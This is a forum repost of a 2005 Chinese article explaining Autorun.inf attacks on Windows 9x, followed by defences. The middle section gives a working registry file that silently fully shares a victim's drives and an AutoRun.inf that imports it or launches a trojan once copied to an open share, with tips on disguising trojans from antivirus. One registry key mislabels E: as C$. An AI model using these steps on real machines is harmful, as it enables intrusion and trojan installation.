史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 資訊系統安全備援防護技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-01-18, 11:52 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 解析來自Autorun.inf文件的攻擊

解析來自Autorun.inf文件的攻擊

作者:xunchi 日期:2005-11-05

最近網上流行通過AutoRun.inf文件使對方所有的硬碟完全共享或中木馬的方法,由於AutoRun.inf文件在黑客技術中的套用還是很少見的,相應的資料也不多,有很多人對此覺得很神秘,本文試圖為您解開這個迷,使您能完全的瞭解這個並不複雜卻極其有趣的技術。

  一、理論基礎

  經常使用光碟的朋友都知道,有很多光碟放入光碟就會自動執行,它們是怎麼做的呢?光碟一放入光碟就會自動被執行,主要依*兩個文件,一是光碟上的AutoRun.inf文件,另一個是操作系統本身的系統檔案之一的Cdvsd.vxd。Cdvsd.vxd會隨時偵測光碟中是否有放入光碟的動作,如果有的話,便開始尋找光碟根目錄下的AutoRun.inf文件。如果存在AutoRun.inf文件則執行它裡面的預設程序。

  AutoRun.inf不光能讓光碟自動執行程序,也能讓硬碟自動執行程序,方法很簡單,先開啟記事本,然後用滑鼠右鍵點擊該檔案,在彈出表單中選項「重新命名」,將其改名為AutoRun.inf,在AutoRun.inf中按鍵輸入以下內容:

  [AutoRun]    //表示AutoRun部分開始,必須輸入
  Icon=C:\C.ico  //給C碟一個個性化的磁碟代號圖示C.ico
  Open=C:\1.exe  //指定要執行程序的路徑和名稱,在此為C碟下的1.exe

  儲存該檔案,按F5重新整理桌面,再看「我的電腦」中的該磁碟代號(在此為C碟),你會發現它的磁牒圖示變了,雙按進入C碟,還會自動播放C碟下的1.exe文件!

  解釋一下:「[AutoRun]」行是必須的固定格式,「Icon」行對應的是圖示文件,「C:\C.ico」為圖示文件路徑和檔案名,你在輸入時可以將它改為你的圖片文件所在路徑和檔案名。另外,「.ico」為圖示文件的副檔名,如果你手頭上沒有這類文件,可以用看圖軟體ACDSee將其他格式的軟體轉換為ico格式,或者找到一個後面名為BMP的文件,將它直接改名為ICO文件即可。

  「Open」行指定要自動執行的文件及其磁碟代號和路徑。要特別說明的是,如果你要改變的硬碟跟目錄下沒有自動播放文件,就應該把「OPEN」行刪掉,否則就會因為找不到自動播放文件而打不開硬碟,此時只能用滑鼠右鍵按下磁碟代號在彈出表單中選「開啟」才行。

  請大家注意:儲存的檔案名必須是「AutoRun.inf」,編製好的Autorun.inf文件和圖示文件一定要放在硬碟根目錄下。更進一步,如果你的某個硬碟內容暫時比較固定的話,不妨用Flash做一個自動播放文件,再編上「Autorun」文件,那你就有最酷、最個性的硬碟了。

  到這兒還沒有完。大家知道,在一些光碟放入後,我們在其圖示上按下滑鼠右鍵,還會產生一個具有特色的目錄表單,如果能對著我們的硬碟點擊滑鼠右鍵也產生這樣的效果,那將更加的有特色。其實,光碟能有這樣的效果也僅僅是因為在AutoRun.inf文件中有如下兩條語句:

  shell\標誌=顯示的滑鼠右鍵表單中內容

  shell\標誌\command=要執行的文件或指令行

  所以,要讓硬碟具有特色的目錄表單,在AutoRun.inf文件中加入上述語句即可,示例如下:

  shell\1=天若有情天亦老
  shell\1\command\=notepad ok.txt
儲存完畢,按F5鍵重新整理,然後用滑鼠右鍵按下硬碟圖示,在彈出表單中會發現「天若有情天亦老」(圖1),點擊它,會自動開啟硬碟中的「ok.txt」文件。注意:上面示例假設「ok.txt」文件在硬碟根目錄下,notepad為系統原有的的記事本程序。如果要執行的文件為直接可執行程序,則在「command\」後直接增加該執行程式文件名即可。


二、實例

  下面就舉個例子:如果你掃到一台開著139共享的機器,而對方只完全共享了D碟,我們要讓對方的所有驅動器都共享。首先編輯一個註冊表文件,開啟記事本,按鍵輸入以下內容:

  REGEDIT4
  '此處一定要空一行
  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
  "Path"="C:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
  "Path"="D:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
  "Path"="E:\\"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  以上我只設定到E碟,如果對方有很多邏輯碟符的請自行設定。將以上部分另存為Share.reg文件備用。要特別注意REGEDIT4為大寫且頂格書寫,其後要空上一行,在最後一行記得要按一次Enter鍵鍵。

  然後開啟記事本,編製一個AutoRun.inf文件,按鍵輸入以下內容:

  [AutoRun]
  Open=regedit/s Share.reg //加/s參數是為了匯入時不會顯示任何訊息

  儲存AutoRun.inf文件。將Share.reg和AutoRun.inf這兩個文件都複製到對方的D碟的根目錄下,這樣對方只要雙按D碟就會將Share.reg匯入註冊表,這樣對方電腦重啟後所有驅動器就會都完全共享出來。

  如果想讓對方中木馬,只要在AutoRun.inf文件中,把「Open=Share.Reg」改成「Open=木馬服務端檔案名」,然後把AutoRun.inf和組態好的木馬服務端一起複製到對方D碟的根目錄下,這樣不需對方執行木馬服務端程序,而只需他雙按D碟就會使木馬執行!這樣做的好處顯而易見,那就是大大的增加了木馬執行的主動性!須知許多人現在都是非常警惕的,不熟悉的文件他們輕易的不會執行,而這種方法就很難防範了。

  要說明的是,給你下木馬的人不會那麼蠢的不給木馬加以偽裝,一般說來,他們會給木馬服務端文件改個名字,或好聽或和系統檔案名很相像,然後給木馬換個圖示,使它看起來像TXT文件、ZIP文件或圖片文件等,,最後修改木馬的資源文件使其不被殺毒軟體識別(具體的方法可以看本刊以前的文章),當服務端用戶信以為真時,木馬卻悄悄侵入了系統。其實,換個角度理解就不難了——要是您給別人下木馬我想你也會這樣做的。以上手段再輔以如上內容的AutoRun.inf文件就天衣無縫了!


三、防範方法


  共享分類完全是由flags標誌決定的,它的鍵值決定了共享目錄的檔案類型。當flags=0x302時,重新啟動系統,目錄共享標誌消失,表面上看沒有共享,實際上該目錄正處於完全共享狀態。網上流行的共享蠕蟲,就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402,就可以看到硬碟被共享了,明白了嗎?秘密就在這裡!

  以上程式碼中的Parmlenc、Parm2enc內容項是加密的密碼,系統在加密時採用了8位密碼分別與「35 9a 4b a6 53 a9 d4 6a」進行異或運算,要想求出密碼再進去行一次異或運算,然後查ASCII表可得出目錄密碼。在網路軟體中有一款軟體就利用該內容進行網路密碼破解的,在區域網路內從一台電腦上可以看到另一台電腦的共享密碼。

  利用TCP/IP傳輸協定設計的NethackerⅡ軟體可以穿過Internet網路,找到共享的主機,然後進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共享給對方了。

  解決辦法是把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面的「C$」、「D$」、「E$」等刪掉。然後移除windows\system\下面的Vserver.vxd移除,它是Microsoft網路上的文件與列印機共享虛擬設備驅動程式,再把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\下的Vserver鍵值刪掉,就會很安全了。

  另外,關閉硬碟AutoRun功能也是防範黑客入侵的有效方法之一。具體方法是在「開始」表單的「執行」中輸入Regedit,開啟註冊表編輯器,展開到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer主鍵下,在右側視窗中找到「NoDriveTypeAutoRun」,就是這個鍵決定了是否執行CDROM或硬碟的AutoRun功能。

  雙按「NoDriveTypeAutoRun」,在預設狀態下(即你沒有禁止過AutoRun功能),在彈出視窗中可以看到「NoDriveTypeAutoRun」預設鍵值為95,00,00,00,如圖所顯示(圖2)。其中第一個值「95」是十六進制值,它是所有被禁止自動執行設備的和。將「95」轉為二進制就是10010101,其中每位代表一個設備,Windows中不同設備會用如下數值表示:


設備名稱     第幾位 值 設備用如下數值表示 設備名稱含義
  DKIVE_UNKNOWN   0  1  01h       不能識別的設備檔案類型
  DRIVE_NO_ROOT_DIR 1  0  02h       沒有根目錄的驅動器(Drive without root directory)
  DRIVE_REMOVABLE  2  1  04h       可移動驅動器(Removable drive)
  DRIVE_FIXED    3  0  08h       固定的驅動器(Fixed drive)
  DRIVE_REMOTE   4  1  10h       網路驅動器(Network drive)
  DRIVE_CDROM    5  0  20h       光碟(CD-ROM)  
  DRIVE_RAMDISK   6  0  40h       RAM磁牒(RAM Disk)
  保留       7  1  80h       未指定的驅動器檔案類型(Not yet specified drive disk)

  在上面所列的表中值為「0」表示設備執行,值為「1」表示該設備不執行(預設情況下,Windows禁止80h、10h、4h、01h這些設備自動執行,這些數值累加正好是十六進制的95h,所以NoDriveTypeAutoRun」預設鍵值為95,00,00,00)。
由上面的分析不難看出,在預設情況下,會自動執行的設備是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK這四個保留設備,所以要禁止硬碟自動執行AutoRun.inf文件,就必須將DRIVE_FIXED的值設為1,這是因為DRIVE_FIXED代表固定的驅動器,即硬碟。這樣一來,原來的10010101(在表中「值」列中由下向上看)就變成了二進制的10011101,轉為十六進制為9D。現在,將「NoDriveTypeAutoRun」的鍵值改為9D,00,00,00後關閉註冊表編輯器,重啟電腦後就會關閉硬碟的AutoRun功能。


  如果你看明白了,那你肯定知道該怎樣禁止光碟AutoRun功能了,對!就是將DRIVE_CDROM設為1,這樣「NoDriveTypeAutoRun」鍵值中的第一個值就變成了10110101,也就是十六進制的B5。將第一個值改為B5後關閉註冊表編輯器,重啟電腦後就會關閉CDROM的Autorun功能。如果僅想禁止軟體光碟的AutoRun功能,但又保留對CD音瀕碟的自動播放能力,這時只需將「NoDriveTypeAutoRun」的鍵值改為:BD,00,00,00即可。

  如果想要恢復硬碟或光碟的AutoRun功能,進行反方向操作即可。

  事實上,大多數的硬碟根目錄下並不需要AutoRun.inf文件來執行程序,因此我們完全可以將硬碟的AutoRun功能關閉,這樣即使在硬碟根目錄下有AutoRun.inf這個文件,Windows也不會去執行其中指定的程序,從而可以達到防止黑客利用AutoRun.inf文件入侵的目的。

  除此以外,我們還應讓Windows能顯示出隱藏的共享。大家都知道,在Windows 9X中設定共享時,通過在共享名後加上「$」這個符號,可使共享隱藏。比如,我們給一個名為share的電腦的C碟設定共享時,只要將其共享名設為C$。這樣我們將看不到被共享的C碟,只有通過輸入該共享的確切路徑,才能訪問此共享。不過我們只要用將電腦中的msnp32.dll文件稍做修改。就可以讓Windows顯示出隱藏的共享。

  由於在Windows下msnp32.dll會被使用,不能直接修改此文件,所以第一步我們要複製msnp32.dll到C碟下並改名為msnp32,msnp32.dll在C:\Windows\system資料夾下。執行UltraEdit等十六進制文件編輯器開啟msnp32,找到「24 56 E8 17」(位於偏移位址00003190∼000031A0處),找到後將「24」改為「00」,然後儲存,關閉UltraEdit。重啟電腦進入DOS模式,在命令提示字元下輸入copy c:\msnp32.dll c:\Windows\system\msnp32.dll,重啟進入Windows,現在雙按share就能看見被隱藏的共享了。

  最後要提醒大家利用TCP/IP傳輸協定設計的NethackerⅡ等黑客軟體可以穿過Internet網路,找到共享的主機,然後進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共享給對方了。防範這類事情發生的方法無非是經常檢查系統,給系統打上修正檔,經常使用反黑殺毒軟體,上網時開啟_blank">防火牆,注意異常現象,留意AutoRun.inf文件的內容,關閉共享或不要設定為完全共享,且加上複雜的共享密碼。

  聲明:本文的目的是使大家能清楚地瞭解網上流行的黑客手段,增強自己的防護意識,因此請大家不要用本文的方法去幹違法的事情,切記:己所不欲,勿施於人!
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
kcgsj (2009-01-21)
感謝您發表一篇好文章
舊 2006-01-18, 01:28 PM   #2 (permalink)
lew
註冊會員
 
lew 的頭像
榮譽勳章
UID - 16444
在線等級: 級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時
註冊日期: 2002-12-23
VIP期限: 2009-05
住址: WOMAN'S HOME
文章: 294
精華: 0
現金: 5909 金幣
資產: 10909 金幣
預設

謝謝大大分享!!
lew 目前離線  
送花文章: 135, 收花文章: 14 篇, 收花: 70 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 04:47 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1